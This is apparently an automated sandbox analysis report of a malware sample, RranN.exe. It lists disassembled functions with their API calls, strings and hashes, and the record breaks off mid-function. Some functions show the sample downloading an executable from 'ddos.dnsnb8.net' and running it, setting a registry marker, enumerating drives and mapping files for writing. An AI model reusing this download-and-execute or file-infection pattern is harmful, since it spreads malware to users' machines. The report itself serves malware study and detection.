Opcode ID: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction ID: 19c6dc87b03f86396a01aaf8765a1d202acf8a395219c2b26f4bcf550115c067
Opcode Fuzzy Hash: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction Fuzzy Hash: 9E31F432938332EADB217EE4CC00B6E6795AF55B24F108215ED04EB29CDB748540CAB1

Function 00406E30 Relevance: 7.5, APIs: 5, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00406E3C

Part of subcall function 00406809: __getptd_noexit.LIBCMT ref: 0040680C
Part of subcall function 00406809: __amsg_exit.LIBCMT ref: 00406819

__amsg_exit.LIBCMT ref: 00406E5C
__lock.LIBCMT ref: 00406E6C
InterlockedDecrement.KERNEL32(?), ref: 00406E89
InterlockedIncrement.KERNEL32(00681660), ref: 00406EB4

Memory Dump Source

Source File: 00000000.00000002.1721781695.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1721766921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721781695.0000000000416000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721781695.00000000004B2000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721879182.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721895547.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721921404.00000000004FC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721942664.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721959542.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: 0568029c1f25f6bcb402ec9a722b11152bccf75ef1a6889d7cf5f3a94536b8a6
Instruction ID: 66c30a4e6ab6c6468701200883e167570b52972017e2c7fe5e6b2db937699a02
Opcode Fuzzy Hash: 0568029c1f25f6bcb402ec9a722b11152bccf75ef1a6889d7cf5f3a94536b8a6
Instruction Fuzzy Hash: 00018275900721ABDB21AB26D40675B77A0AB00B15F05813BF801776D0CB7C6E51CBDD

Function 00405375 Relevance: 7.5, APIs: 5, Instructions: 44memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 00405393

Part of subcall function 004044E9: __mtinitlocknum.LIBCMT ref: 004044FF
Part of subcall function 004044E9: __amsg_exit.LIBCMT ref: 0040450B
Part of subcall function 004044E9: EnterCriticalSection.KERNEL32(?,?,?,00403FB8,00000004,004B2308,0000000C,0040786F,?,?,00000000,00000000,00000000,?,004067BB,00000001), ref: 00404513

___sbh_find_block.LIBCMT ref: 0040539E
___sbh_free_block.LIBCMT ref: 004053AD
HeapFree.KERNEL32(00000000,?,004B2348,0000000C,004044CA,00000000,004B2328,0000000C,00404504,?,?,?,00403FB8,00000004,004B2308,0000000C), ref: 004053DD
GetLastError.KERNEL32(?,00403FB8,00000004,004B2308,0000000C,0040786F,?,?,00000000,00000000,00000000,?,004067BB,00000001,00000214), ref: 004053EE

Memory Dump Source

Source File: 00000000.00000002.1721781695.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1721766921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721781695.0000000000416000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721781695.00000000004B2000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721879182.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721895547.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721921404.00000000004FC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721942664.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721959542.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Similarity

API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2714421763-0
Opcode ID: 3811af99ed8aee8845e8384df45376924729fbc203932ee6e1c7fafc116e993b
Instruction ID: abab502a1e727da257fcdd8275f624869fd0db23053a52966a9f0746529fd86e
Opcode Fuzzy Hash: 3811af99ed8aee8845e8384df45376924729fbc203932ee6e1c7fafc116e993b
Instruction Fuzzy Hash: 60012171901B01ABDB206BB2AC0AB5F7A64DF407A9F20453BB900B61D1DABC8640DF9D

Function 02242670 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 382COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 022426DB
_memset.LIBCMT ref: 02242A30
_memset.LIBCMT ref: 02242AC0

Strings

D, xrefs: 02242AC8

Memory Dump Source

Source File: 00000000.00000002.1722296268.0000000002230000.00000040.00001000.00020000.00000000.sdmp, Offset: 02230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2230000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: _memset
String ID: D
API String ID: 2102423945-2746444292
Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction ID: 84b323fa707e1da0b9ef26722cccd563b4b50e046c513c9cbbbdbdb9805dd8fa
Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction Fuzzy Hash: FDE16C71D1021AEACF28DFE1CD49FEEB7B8BF04304F144169E909A6194EB74AA45CF54

Function 0223D8B0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 228COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0223D8EA

Strings

, xrefs: 0223DADB
(, xrefs: 0223DAE9
$, xrefs: 0223DAE2

Memory Dump Source

Source File: 00000000.00000002.1722296268.0000000002230000.00000040.00001000.00020000.00000000.sdmp, Offset: 02230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2230000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: _memset
String ID: $$$(
API String ID: 2102423945-3551151888
Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction ID: 981b111b083f47d21a4a69629f22b3cc7458d3bfb57fca88c7bb567c9022173d
Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction Fuzzy Hash: 0E918BB1D10219EAEF21DFE0CC49BEEBBB9AF05304F244169D40577284DBB65A48CFA5

Function 0224A810 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0224A858
_memset.LIBCMT ref: 0224A869
_memset.LIBCMT ref: 0224A87A

Strings

p2Q, xrefs: 0224A882

Memory Dump Source

Source File: 00000000.00000002.1722296268.0000000002230000.00000040.00001000.00020000.00000000.sdmp, Offset: 02230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2230000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: _memset
String ID: p2Q
API String ID: 2102423945-1521255505
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: 6ca8c146b9e77374386af4ccfc87ff9b8057c3a76163d931eb717c0674dd610a
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: 0FF0E578695750A5F7117790BC267857D917B31B09F108044E5142E2E5D3FD234C6B99

Function 0227FBDE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0227FBF1

Part of subcall function 0226169C: std::exception::_Copy_str.LIBCMT ref: 022616B5

__CxxThrowException@8.LIBCMT ref: 0227FC06

Strings

TeM, xrefs: 0227FBFE
TeM, xrefs: 0227FBE7, 0227FBFB

Memory Dump Source

Source File: 00000000.00000002.1722296268.0000000002230000.00000040.00001000.00020000.00000000.sdmp, Offset: 02230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2230000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: Copy_strException@8Throwstd::exception::_std::exception::exception
String ID: TeM$TeM
API String ID: 3662862379-3870166017
Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction ID: 7e3629821c04addec904b45f97ee8fb7dee2fb10168117dfe82acf690b0f0462
Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction Fuzzy Hash: 67D01779C0030CBBCB00EFA4D449CDDBBB8AA00304B008462A91897244EA74A3898FC4

Function 0223D0E0 Relevance: 6.3, APIs: 4, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 0225197D: __wfsopen.LIBCMT ref: 02251988

_fgetws.LIBCMT ref: 0223D15C

Memory Dump Source

Source File: 00000000.00000002.1722296268.0000000002230000.00000040.00001000.00020000.00000000.sdmp, Offset: 02230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2230000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: __wfsopen_fgetws
String ID:
API String ID: 853134316-0
Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction ID: a26b67188050d134ef76b4e5d9a4df2d1f40b942bfc2d8401ce3ac5807fc2bfb
Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction Fuzzy Hash: A991C3B2D2031AABCF22DFE4CC847AEB7B5BF04304F144529E815A7245E7B5AA14CF91

Function 0223D540 Relevance: 6.2, APIs: 4, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 0223D77E
_malloc.LIBCMT ref: 0223D7B2
_malloc.LIBCMT ref: 0223D7C1
_fprintf.LIBCMT ref: 0223D815

Memory Dump Source

Source File: 00000000.00000002.1722296268.0000000002230000.00000040.00001000.00020000.00000000.sdmp, Offset: 02230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2230000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:
API String ID: 1783060780-0
Opcode ID: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction ID: 9a56ce7d285c602e3340d13276e8fb2198a66aeee00214538cc49195d89feae5
Opcode Fuzzy Hash: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction Fuzzy Hash: 49A18DB0C10358EBEF11EFE4DC45BEEBB76AF14304F144128D80576295D7B69A48CBA6

Function 02252AD0 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 02252B2E
__read_nolock.LIBCMT ref: 02252BFE
__filbuf.LIBCMT ref: 02252C21
_memset.LIBCMT ref: 02252C65

Part of subcall function 02255BA8: __getptd_noexit.LIBCMT ref: 02255BA8

Memory Dump Source

Source File: 00000000.00000002.1722296268.0000000002230000.00000040.00001000.00020000.00000000.sdmp, Offset: 02230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2230000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction ID: 9e452ffa5948a834d4fb1187676ea088b2d972b1d6739e266d16df74cbeeb60b
Opcode Fuzzy Hash: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction Fuzzy Hash: 3D51A170A20726DBDB288FF9888466EB7B6BF40325F14C729FC35962D8D7B19950CB40

Function 02271359 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 0227137D

Part of subcall function 02271A9D: __fltout2.LIBCMT ref: 02271AC6

__cftog_l.LIBCMT ref: 022713A3
__cftoe_l.LIBCMT ref: 022713D5

Memory Dump Source

Source File: 00000000.00000002.1722296268.0000000002230000.00000040.00001000.00020000.00000000.sdmp, Offset: 02230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2230000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: 98435e26e9a2265e25363c3bf857d03c787615116b1e260b73bccfe5fc7a2c99
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: C401483242824ABBCF125EC4DC01CEE3F67BF19355B488415FA6D58978D376C5B2AB81

Function 022F7A34 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 022F7A4B

Part of subcall function 022F8140: ___BuildCatchObjectHelper.LIBCMT ref: 022F8172
Part of subcall function 022F8140: ___AdjustPointer.LIBCMT ref: 022F8189

_UnwindNestedFrames.LIBCMT ref: 022F7A62
___FrameUnwindToState.LIBCMT ref: 022F7A74
CallCatchBlock.LIBCMT ref: 022F7A98

Memory Dump Source

Source File: 00000000.00000002.1722296268.0000000002230000.00000040.00001000.00020000.00000000.sdmp, Offset: 02230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2230000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: 6129c954fc954ace5770ca80c71ed9352d65e8c85fe393d98bf9a7fa764c6e83
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: 6F012D32010209BBCF52AF95DC00EEABBBAFF48754F158024FE1865124C736E961DFA0

Function 0040759C Relevance: 6.0, APIs: 4, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 004075A8

Part of subcall function 00406809: __getptd_noexit.LIBCMT ref: 0040680C
Part of subcall function 00406809: __amsg_exit.LIBCMT ref: 00406819

__getptd.LIBCMT ref: 004075BF
__amsg_exit.LIBCMT ref: 004075CD
__lock.LIBCMT ref: 004075DD

Memory Dump Source

Source File: 00000000.00000002.1721781695.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1721766921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721781695.0000000000416000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721781695.00000000004B2000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721879182.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721895547.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721921404.00000000004FC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721942664.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721959542.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID:
API String ID: 3521780317-0
Opcode ID: 87e40fbdfa305d12a1811f200d3e8eae4c4371e5cc60da664554bda2919cbebd
Instruction ID: 32f16ce9bed4cc368448c6dac4f29f63046367329e7461c8f2920148eee8cfe6
Opcode Fuzzy Hash: 87e40fbdfa305d12a1811f200d3e8eae4c4371e5cc60da664554bda2919cbebd
Instruction Fuzzy Hash: 87F06272D44700EBDB21BB66980279E72A19B00714F11853FE445776D2DB7C6E019E6F

Analysis Process: RranN.exePID: 6104, Parent PID: 5480COMMON

Execution Graph

Execution Coverage:	28.8%
Dynamic/Decrypted Code Coverage:	10.4%
Signature Coverage:	18.9%
Total number of Nodes:	297
Total number of Limit Nodes:	11

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00B429E2 Relevance: 31.6, APIs: 15, Strings: 3, Instructions: 128
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00B42A02
wsprintfA.USER32 ref: 00B42A1A
memset.MSVCRT ref: 00B42A44
lstrlen.KERNEL32(?), ref: 00B42A54
lstrcpyn.KERNEL32(?,?,-00000001), ref: 00B42A6C
strrchr.MSVCRT ref: 00B42A7C
lstrcmpiA.KERNEL32(?,Documents and Settings), ref: 00B42A9F
lstrlen.KERNEL32(Documents and Settings), ref: 00B42AAE
memset.MSVCRT ref: 00B42AC6
memset.MSVCRT ref: 00B42ADA
FindFirstFileA.KERNEL32(?,?), ref: 00B42AEF
memset.MSVCRT ref: 00B42B13
lstrcmpiA.KERNEL32(?,?), ref: 00B42B42
FindNextFileA.KERNEL32(00000000,?,?,?,?), ref: 00B42B67
FindClose.KERNEL32(00000000), ref: 00B42B6E

Strings

Documents and Settings, xrefs: 00B42A8D, 00B42A92, 00B42A9A, 00B42AAD
%s*, xrefs: 00B42A14
C:\, xrefs: 00B42A2F

Memory Dump Source

Source File: 00000001.00000002.1909183951.0000000000B41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B40000, based on PE: true

Associated: 00000001.00000002.1909157091.0000000000B40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909216552.0000000000B43000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909243199.0000000000B44000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909271455.0000000000B46000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b40000_RranN.jbxd

Similarity

API ID: memset$Find$Filelstrcmpilstrlen$CloseFirstNextlstrcpynstrrchrwsprintf
String ID: %s*$C:\$Documents and Settings
API String ID: 2826467728-110786608
Opcode ID: 9a6035b4780fe8fadafbc91a35519c9bedaf3839dfedd8a53cb83ec79dbe5d30
Instruction ID: 076c86fb737dd9a4e81846d6c7e40f21f7fc6f9f8861e1af3fd4105ffed44ea6
Opcode Fuzzy Hash: 9a6035b4780fe8fadafbc91a35519c9bedaf3839dfedd8a53cb83ec79dbe5d30
Instruction Fuzzy Hash: 984193B2404349AFD720DBA0EC88EEB77ECFB85705F040969F944C3111EA30D748A7A2

Function 00B41099 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 74
stringsleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B4185B: GetSystemTimeAsFileTime.KERNEL32(00B41F92,00000000,?,00000000,?,?,?,00B41F92,?,00000000,00000002), ref: 00B41867
Part of subcall function 00B4185B: srand.MSVCRT ref: 00B41878
Part of subcall function 00B4185B: rand.MSVCRT ref: 00B41880
Part of subcall function 00B4185B: srand.MSVCRT ref: 00B41890
Part of subcall function 00B4185B: rand.MSVCRT ref: 00B41894

WinExec.KERNEL32(?,00000005), ref: 00B410F1
lstrlen.KERNEL32(00B44748), ref: 00B410FA
wsprintfA.USER32 ref: 00B4112A
wsprintfA.USER32 ref: 00B41143
URLDownloadToFileA.URLMON(00000000,?,?,00000000,00000000), ref: 00B4115B
lstrlen.KERNEL32(ddos.dnsnb8.net,00000000,?,?,00000000,00000000), ref: 00B41169
Sleep.KERNEL32 ref: 00B41179

Strings

ddos.dnsnb8.net, xrefs: 00B410C8, 00B410CF, 00B41140, 00B41168
C:\Users\user\AppData\Local\Temp\, xrefs: 00B41119
%s%.8X.exe, xrefs: 00B41124
http://%s:%d/%s/%s, xrefs: 00B410C2, 00B41141
cj/, xrefs: 00B41135

Memory Dump Source

Source File: 00000001.00000002.1909183951.0000000000B41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B40000, based on PE: true

Associated: 00000001.00000002.1909157091.0000000000B40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909216552.0000000000B43000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909243199.0000000000B44000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909271455.0000000000B46000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b40000_RranN.jbxd

Similarity

API ID: FileTimelstrlenrandsrandwsprintf$DownloadExecSleepSystem
String ID: %s%.8X.exe$C:\Users\user\AppData\Local\Temp\$cj/$ddos.dnsnb8.net$http://%s:%d/%s/%s
API String ID: 1280626985-3050893656
Opcode ID: b02600aff5fc9a05c2a692124430f04c6c66f5ce0290071c24967d608eee0dc1
Instruction ID: a7a40a11c764d9a6ab4597e3c3b587a7c4f1d3f33a450c74b1995ad221521eaf
Opcode Fuzzy Hash: b02600aff5fc9a05c2a692124430f04c6c66f5ce0290071c24967d608eee0dc1
Instruction Fuzzy Hash: 6421897A800218BEDB209BA4DC88BAEBBF8FB16705F1505D5E100A3150DB749B94EF60

Function 00B46076 Relevance: 14.6, APIs: 7, Strings: 1, Instructions: 614
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000,00001800,00001000,00000004), ref: 00B460BE
VirtualAlloc.KERNEL32(00000000,?,00001000,00000004,?,?,?), ref: 00B460DF
VirtualFree.KERNELBASE(?,00000000,00008000,?,?,?), ref: 00B46189
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 00B461A5

Strings

kernel32.dll, xrefs: 00B464A7

Memory Dump Source

Source File: 00000001.00000002.1909271455.0000000000B46000.00000040.00000001.01000000.00000004.sdmp, Offset: 00B40000, based on PE: true

Associated: 00000001.00000002.1909157091.0000000000B40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909183951.0000000000B41000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909216552.0000000000B43000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909243199.0000000000B44000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b40000_RranN.jbxd

Similarity

API ID: Virtual$AllocFree
String ID: kernel32.dll
API String ID: 2087232378-1793498882
Opcode ID: f53f77fe612fc29eec6697e96a11b9683162c79c0662d844ef0c4638688113b8
Instruction ID: 61fed1d4ccd1ef09123a57837bbb34fc4cd6576831103c54b930feb9c826354a
Opcode Fuzzy Hash: f53f77fe612fc29eec6697e96a11b9683162c79c0662d844ef0c4638688113b8
Instruction Fuzzy Hash: 9E1224B25087859FDB328F64CC85BEA7BF0EF13310F18459ED8898B293D674AA01D756

Function 00B41718 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 65
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemTimeAsFileTime.KERNEL32(?,?,00000104,C:\Users\user\AppData\Local\Temp\RranN.exe), ref: 00B41729
SHSetValueA.SHLWAPI(80000002,SOFTWARE\GTplus,Time,00000003,?,00000008), ref: 00B4174C
SHGetValueA.SHLWAPI(80000002,SOFTWARE\GTplus,Time,?,?,00000001), ref: 00B4177C
__aulldiv.LIBCMT ref: 00B41796
__aulldiv.LIBCMT ref: 00B417A8

Strings

SOFTWARE\GTplus, xrefs: 00B41742, 00B4176B
Time, xrefs: 00B4173D, 00B41766
C:\Users\user\AppData\Local\Temp\RranN.exe, xrefs: 00B41722

Memory Dump Source

Source File: 00000001.00000002.1909183951.0000000000B41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B40000, based on PE: true

Associated: 00000001.00000002.1909157091.0000000000B40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909216552.0000000000B43000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909243199.0000000000B44000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909271455.0000000000B46000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b40000_RranN.jbxd

Similarity

API ID: TimeValue__aulldiv$FileSystem
String ID: C:\Users\user\AppData\Local\Temp\RranN.exe$SOFTWARE\GTplus$Time
API String ID: 541852442-1238067204
Opcode ID: 709213c94dba4993361ab4079508dd8cab061ebdd58a70a9b38339de3269ab6e
Instruction ID: 95e19fd5a61c5e93b6da446b4df03e0f85125220ee8e2e39d43c218cbcd5ef50
Opcode Fuzzy Hash: 709213c94dba4993361ab4079508dd8cab061ebdd58a70a9b38339de3269ab6e
Instruction Fuzzy Hash: 6E1121B5A00209BBDB109B94C8C9FAE7BF8EB45B14F108555FA01B6181D6719F84AB60

Function 00B42B8C Relevance: 10.6, APIs: 7, Instructions: 74
threadstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00B42BA6
GetLogicalDriveStringsA.KERNEL32(00000050,?), ref: 00B42BB4
GetDriveTypeA.KERNEL32(?), ref: 00B42BD3
CreateThread.KERNEL32(00000000,00000000,00B42B7D,?,00000000,00000000), ref: 00B42BEE
lstrlen.KERNEL32(?), ref: 00B42BFB
WaitForMultipleObjects.KERNEL32(?,?,00000001,000000FF), ref: 00B42C16
CreateThread.KERNEL32(00000000,00000000,00B42845,00000000,00000000,00000000), ref: 00B42C3A

Memory Dump Source

Source File: 00000001.00000002.1909183951.0000000000B41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B40000, based on PE: true

Associated: 00000001.00000002.1909157091.0000000000B40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909216552.0000000000B43000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909243199.0000000000B44000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1909271455.0000000000B46000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b40000_RranN.jbxd

Similarity

API ID: CreateDriveThread$LogicalMultipleObjectsStringsTypeWaitlstrlenmemset
String ID:
API String ID: 1073171358-0
Opcode ID: 4ee4352452edece2c17d17858cd9b34c213c892e5cd64281d8386ba8ed4fb1c7
Instruction ID: d1ffe77ea4ebf427e782ca5f57d3e173e05ad6f33f26383306f0c0707cebd5d7
Opcode Fuzzy Hash: 4ee4352452edece2c17d17858cd9b34c213c892e5cd64281d8386ba8ed4fb1c7
Instruction Fuzzy Hash: EE21E7B584015CAFE7209F64AC84EAE7BEDFF05744B550629F942D3161DB308F06EB61

Function 00B41E6E Relevance: 30.4, APIs: 20, Instructions: 380
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFileAttributesA.KERNEL32(?,00000080,?,00B432B0,00000164,00B42986,?), ref: 00B41EB9
CreateFileA.KERNEL32(?,C0000000,00000000,00000000,00000003,00000080,00000000), ref: 00B41ECD
SetFilePointer.KERNEL32(000000FF,00000000,00000000,00000002,00000000,00000000), ref: 00B41EF3
CreateFileMappingA.KERNEL32(000000FF,00000000,00000004,00000000,00000000,00000000), ref: 00B41F07
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00000400), ref: 00B41F1D
FlushViewOfFile.KERNEL32(?,00000400,?,00000000,00000000,?,00000000,00000002), ref: 00B4201E
memset.MSVCRT ref: 00B420D8
memset.MSVCRT ref: 00B420EA
memcpy.MSVCRT ref: 00B4222D
UnmapViewOfFile.KERNEL32(?,?,00000002,?,?,?,?,00000000,00000000,?,00000000,00000002), ref: 00B42238
